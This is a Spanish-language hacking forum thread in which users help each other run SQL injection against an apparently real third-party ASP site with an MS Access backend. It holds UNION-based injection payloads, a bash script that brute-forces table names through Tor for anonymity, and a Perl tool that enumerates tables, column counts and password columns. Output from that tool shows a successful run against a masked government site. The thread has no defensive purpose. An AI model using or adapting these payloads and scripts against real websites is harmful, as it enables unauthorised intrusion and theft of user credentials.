Autor
|
Tema: dudas/problemas sql injection ms-access (Leído 8,861 veces)
|
kamsky
|
Buenas! Bueno, siempre he tenido "apartado" el tema de sql injection (por pereza :p) dándole prioridad a otras cosas, pero bueno, creo que ya es hora de ponerme... asi que últimamente he estado leyendo bastante y tal, y haciendo pruebas por ahí... bueno, el problema me ha surgido, al encontrarme un sitio que es vulnerable, y que usa MSSQL, pero que no soy capaz de avanzar nada... :S veamos, digamos que la página vulnerable es esta: www.pagina.es/torneo.asp?torneo=09090601 dado que si inserto una simple comilla, me tira esto: www.pagina.es/torneo.asp?torneo=09090601'
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in query epresionje 'cdgo_torneo LIKE '09090601'%''.
/torneo.asp, line 54 de ahí deduzco que es vulnerable, y que la sentencia SQL debe ser algo como... select ... from ... where cdgo_torneo LIKE 'numerito%' ... donde el % significa que 0 o más caracteres a continuación del id_torneo, hasta aquí bien... intento algo como: www.pagina.es/torneo.asp?torneo=09090601'%20having%201=1-- Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in query epresionje '1=1--%''.
/torneo.asp, line 54 por lo que parece que el having se lo pasa por el forro... intento meter algún paréntesis por si en el Where lo hubiera o algo...: www.pagina.es/torneo.asp?torneo=09090601')%20having%201=1-- Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Extra ) in query epresionje 'cdgo_torneo LIKE '09090601')'.
/torneo.asp, line 54 he probado con comillas dobles, con puntos y coma en vez del doble guión...y no llego a nada en claro :S lo "máximo" que he conseguido es sacar otro tipo de error (con ; en vez de --) a parte de los 2 que puse antes: www.pagina.es/torneo.asp?torneo=09090601'%20having%201=1; Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Characters found after end of SQL statement.
/torneo.asp, line 54 alguna sugerencia/idea/recomendación ??¿¿ gracias y salu2 a todos
|
|
« Última modificación: 14 Septiembre 2009, 23:45 pm por kamsky »
|
En línea
|
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---
hack 4 free!!
|
|
|
MagnoBalt
Desconectado
Mensajes: 58
Los Buenos Artitas Copian, los Grandes Roban
|
Hola kamsky, esa web que estas inyectando tiene un MS-ACCESS, por lo cual con la clausula Having no vas a poder inyectar nada, ya que esa tecnica se usa para los SQL Server. De todos modos intentadolo con UNION. Por ejemplo: 1) Intentar brutear una posible tabla. de esta forma www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1 from usuariosSi la tabla usuarios no existe te arrojara un error algo similar a esto The Microsoft Jet database engine cannot find the input table or query 'usuarios'. Make sure it exists and that its name is spelled correctly.Ahora entonces intenta con otra tabla hasta que te tire un error de que la cantidad de columnas para UNION no conincide.. Seria algo asi The number of columns in the two selected tables or queries of a union query do not match. 2) Ahora tenes que encontrar la cantidad de columnas www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2 from usuarioswww.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3 from usuarios. . www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,3,.....,n from usuariosHasta que no haya error y puedas ver algunos numeros q colocaste de constantes en la busqueda de columnas 3) Y ahora solo queda brutear las posibles Columnas de la tabla encontrada www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,pass,....,n from usuariosDonde pass es la columna, si exisitiera podras ver el valor que contiene pass.. Y asi intentar con otra columnas hasta encontrar www.pagina.es/torneo.asp?torneo=-1+UNION+SELECT+TOP 1+1,2,password,....,n from usuarios . . ETCEspero averte ayudado asi es como yo inyhecto en ACCESS. Si alguien conoce otra forma, que la muestre Saludos
|
|
|
En línea
|
|
|
|
kamsky
|
vale, voy a intentar con Union, pero he hecho unas cuantas pruebas, y el asunto está en que no se como colocar la dichosa comita:' para que no me tire error... al igual que antes con el having, he probado con: ', ", ), ; , -- , ... pero nada, lo ponga como lo ponga, error de sintaxis o similares... lo que creo que me está dando problemas es el maldito: % Syntax error in query expression 'cdgo_torneo LIKE '' OR 1=1%''. en este caso de arriba, inserté una comilla simple, y el OR 1=1, pero siempre aparece el %...y por más que busco no encuentro algo tipo: -- , que sirva para comentar el resto... y si pongo un punto y coma después de lo que inyecto, da error, porque dice que hay caracteres después de la sentencia sql..probé a poner el null byte despues del punto y coma, pero ni así...
|
|
« Última modificación: 14 Septiembre 2009, 22:45 pm por kamsky »
|
En línea
|
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---
hack 4 free!!
|
|
|
kamsky
|
parece que finalmente con el %00 (null byte), si que "funciona", pero no me da el error que comentas, si no otro...: torneo.asp?torneo='+UNION+SELECT+TOP 1+1+from+usuarios [Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause.
torneo.asp?torneo=' UNION SELECT 1,1,1 FROM usuarios [Microsoft][ODBC Microsoft Access Driver] Syntax error in FROM clause. no se si ese error es porque la tabla no existe, o simplemente porque como pone , hay un error de sintaxis...si fuera este último caso... que hay mal!!???
|
|
|
En línea
|
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---
hack 4 free!!
|
|
|
tomrian
Desconectado
Mensajes: 19
|
La manera de lidiar en estos casos es utilizar el resto de la sentencia como parte de tu inyeccion, en este caso en Access un SELECT debe si o si contener una tabla, busca una tabla por adivinación y luego cuando inyectas pones una condición que incluya la %. Te tiro un ejemplo: ' UNION SELECT TOP 1 1,2,3,4 from tabla_que_encontraste where '1' LIKE '1 -Aah y por cierto, aca te dejo algunas páginas que hablan de este tipo de inyecciones: http://www.xuexi123.net/chm/MS%20Access%20SQL%20Injection%20Cheat%20Sheet.htmhttp://seclists.org/pen-test/2003/May/0074.html
|
|
« Última modificación: 14 Septiembre 2009, 23:40 pm por tomrian »
|
En línea
|
|
|
|
kamsky
|
ouuuuuuuu yeah! parece que ya voy por el buen camino, gracias!!! por cierto, justo habia encontrado la "chuleta" para ms-access! p.d.: es un poco "peñazo" lo de tener que "adivinar" las tablas o aplicarle brute-force, pero es lo que toca!! gracias de nuevo
|
|
|
En línea
|
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---
hack 4 free!!
|
|
|
kamsky
|
bueno, me he hecho un mini-script en bash, porque es un toston andar palabra por palabra a ver si suena la flauta , asi que lo he automatizado un poco el script pide la url donde se quiere inyectar (incluyendo variable, con el =, pero sin valor), un diccionario a usar para el bruteforce, un archivo de salida donde mostrar los resultados, y opcionalmente un trozo de sentencia sql para validar la sentencia completa (vamos, lo que me puso tomrian en su post!: La manera de lidiar en estos casos es utilizar el resto de la sentencia como parte de tu inyeccion, en este caso en Access un SELECT debe si o si contener una tabla, busca una tabla por adivinación y luego cuando inyectas pones una condición que incluya la %. ) Y a continuación, pues básicamente se dedica a inyectar, y a recoger los "errores" tirados por la inyección en el fichero de log Por cierto, está programado para que use algún server socks (en mi caso Tor), para anonimizar nuestra consulta, ya que es bastante canteosa... :p no es nada eficiente, asi que esta un buennnnnnn rato, pero a mi por lo menos me ha funcionado os pego el code, si alguien le apetece mejorarlo (ya que empeorarlo creo que es imposible :p), tiene total libertad, pero si lo haceis, me gustaría que me avisarais (más que nada para la próxima vez tener alguna herramienta decente y no esta basurilla ) #!/bin/bash
# Mini MS-Access Table Name Brute Forcing # Kamsky a.k.a Adonis
CURL=`whereis curl | awk {'print $2'}`
echo -e "\n\n*****************************************************" echo -e "* MS-ACCESS SQL Injection - Table Name bruteforcing *" echo -e "*****************************************************\n\n"
if [ $# -lt 3 ]; then echo -e "\nFormato: $0 URL(variable a inyectar) diccionario archivo_salida [sql_relleno_validar]\n" echo -e "Ej: $0 www.host_victima.com/posts.asp?id= dicc.txt where+'1'+LIKE+'1\n" exit 1 fi
echo -e "Inyectando...\n"
while read linea ; do if [ $# -eq 4 ]; then INJECTION="$1'+UNION+SELECT+1+FROM+$linea+$4+%00" else INJECTION="$1'+UNION+SELECT+1+FROM+$linea+%00" fi echo -e "\n\n- Inyeccion: $INJECTION\n" >> salida_inj $CURL -s "$INJECTION" --socks4 127.0.0.1:9050 | grep ODBC >> $3
done <<< "`cat $2`"
echo -e "Fin Inyección\n" salu2
|
|
« Última modificación: 15 Septiembre 2009, 11:58 am por kamsky »
|
En línea
|
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---
hack 4 free!!
|
|
|
tomrian
Desconectado
Mensajes: 19
|
Te funciona ? No tengo ahora tiempo para probarlo
|
|
|
En línea
|
|
|
|
MagnoBalt
Desconectado
Mensajes: 58
Los Buenos Artitas Copian, los Grandes Roban
|
Hola bro si con el Null byte es para anular la inyeccion me olvide de comentarte.. eso. Y habia hecho uno tambien para encontrar las tablas en perl pero esta maso no mas le faltaba mucho mas cosas y deje a media. Pero para la pagina que estaba auditando me resulto perfecto... Access Injection SQL #!/usr/bin/perl use IO::Socket; $ban=0; @nombretabla=('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario','accesos', 'name','names','nombre','nombres','member','members','admin_table', 'miembro','miembros','membername','admins','administrator','sign', 'administrators','passwd','password','passwords','pass','Pass', 'tAdmin','tadmin','user_password','usuarios','user_passwords','user_name','user_names', 'member_password','mods','mod','moderators','moderator','user_email', 'user_emails','user_mail','user_mails','mail','emails','email','address', 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins', 'login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass', 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador', 'tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id', 'sistema_usuario','sistema_password','contrase�a','auth','key','senha','signin', 'tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member','club_authors', 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization', 'membros','utilizadores','staff','nuke_authors','accounts','account','accnts','signup', 'associated','accnt','customers','customer','membres','administrateur','utilisateur', 'tuser','tusers','utilisateurs','password','amministratore','god','God','authors','wp_users', 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members', 'Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO'); @nombrecolumna=('emailAdmin', 'passAdmin','clave','admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email', 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail', 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author','user_login', 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo', 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors', 'user_pwd','u_pass','clave','usuario','nom_usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username','senha','MEMBER','Clave_de_acceso','passwordAdmin','nameAdmin','loginAdmin','emailAdmin', 'passAdmin','IdAdmin' ,'nameAdmin' ,'emailAdmin','passswordAdmin'); $socket = new IO::Socket::INET( PeerAddr => $host, PeerPort => 'http(80)', Proto => 'tcp') || die "[-] No se ha podido conectar a $host"; print $socket "GET " .$path.$inyec.$tabla. " HTTP/1.0\r\n"; print $socket "HOST:$host\r\n"; if ($ban ==1){ print "------------------------$tabla---------------------------------------\n";} } if (!@ARGV[1]) { print "======================================================= \n"; print " Injection AIS V 1.0 beta by MagnoBalt \n\n"; print " use perl $0 www.pagina.com.ar /noticia.php?id=\n\n"; print " AIS:Acces Injection SQL \n"; print "======================================================= \n"; } $host =$ARGV[0]; $path=$ARGV[1]; print "\n[-]Buscando Tablas \n"; $iny="-1+UNION+SELECT+0+FROM+"; #print "antes de la funcion valor $iny\n"; foreach $tabla(@nombretabla) { #empuezo a guardar linea por linea el source en $response $socket=&socket($iny); while (<$socket>) {$response .= "$_ "} if($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/) { print "[+]Tabla $tabla FOUND\n"; $tabla_aux=$tabla; } #print $response; $response="";#limpio la variable }#cierrre foreach #buscamos numeros de columnas print "[-]Buscando numeros de columnas\n"; print "[-]Ingrese Maximo con cual intentar \n"; $col.=<STDIN>; $columna=1; while ($columna <= $col) { $union.=','.$columna; $iny="-1+UNION+SELECT+0".$union."+FROM+".$tabla_aux; $socket=&socket($iny); while (<$socket>) { $response .= "$_ "} #print $response; if ($response=~/The number of columns in the two selected tables or queries of a union query do not match/ || $response=~/ero de columnas de las dos tablas o consultas seleccionadas para una consulta de uni&#243;n no coincide/) { print "[!] Fallo intento columna $columna\n"; } else { $col_aux=$columna; $columna++; print "[+]La Web Posee $columna columnas\n "; print "$ARGV[0]$ARGV[1]$iny\n"; $columna = $col;#fuerzo la salida del while. } $response="";#limpio la variable $columna++; } #Bruteando las columnas print "[-]Bruteando las columnas\n"; print "[-]Ingrese Tabla a la cual brutear:\n"; $tabla_aux=""; $tabla_aux.=<STDIN>; $i=1; while($i <= ($col_aux-1)) {#obtengo columnas menos una $cant.=','.$i; $i++; } foreach $column(@nombrecolumna){ $iny="-1+UNION+SELECT+0".$cant.",".$column."+FROM+".$tabla_aux; $socket=&socket($iny); while (<$socket>) { $response .= "$_ "} if ($response=~/No value given for one or more required parameters/ || $response=~/80040e10/) { } else{ print "[+] Columna $column encontrada\n"; } $response=""; }
[-]Buscando Tablas - Tabla accesos FOUND
[-]Buscando numeros de columnas [-]Ingrese Maximo con cual intentar 15 [-]Buscando.. [!] Fallo intento columna 1 [!] Fallo intento columna 2 [!] Fallo intento columna 3 [!] Fallo intento columna 4
- La Web Posee 6 columnas
www.xxxxxxxxxxxxx.gob/path/NoticiaVer.asp?id=-1+UNION+SELECT+0,1,2,3,4,5+FROM+accesos[-]Bruteando las columnas [-]Ingrese Tabla a la cual brutear: accesos - Columna authorization encontrada
- Columna email encontrada
- Columna nombre encontrada
- Columna pwd encontrada
- Columna usuario encontrada
- Columna passwordAdmin encontrada
|
|
|
En línea
|
|
|
|
kamsky
|
la verdad que tu script está más completo, pero es que yo estuve... 5 minutos?? lo que creo que tiene bueno el mio, es el uso de socks para anonimizar la inyección como ya dije y quizás también, que al tirar de diccionario, hay más probabilidades de encontrar la tabla correcta, pero también hace que sea mas lentoooooooo @ tomrian: si si, funciona, te lo aseguro :p
|
|
|
En línea
|
----NO HAY ARMA MÁS MORTÍFERA QUE UNA PALABRA BROTADA DE UN CORAZÓN NOBLE, Y UN PAR DE HUEVOS QUE LA RESPALDEN---
hack 4 free!!
|
|
|
|
|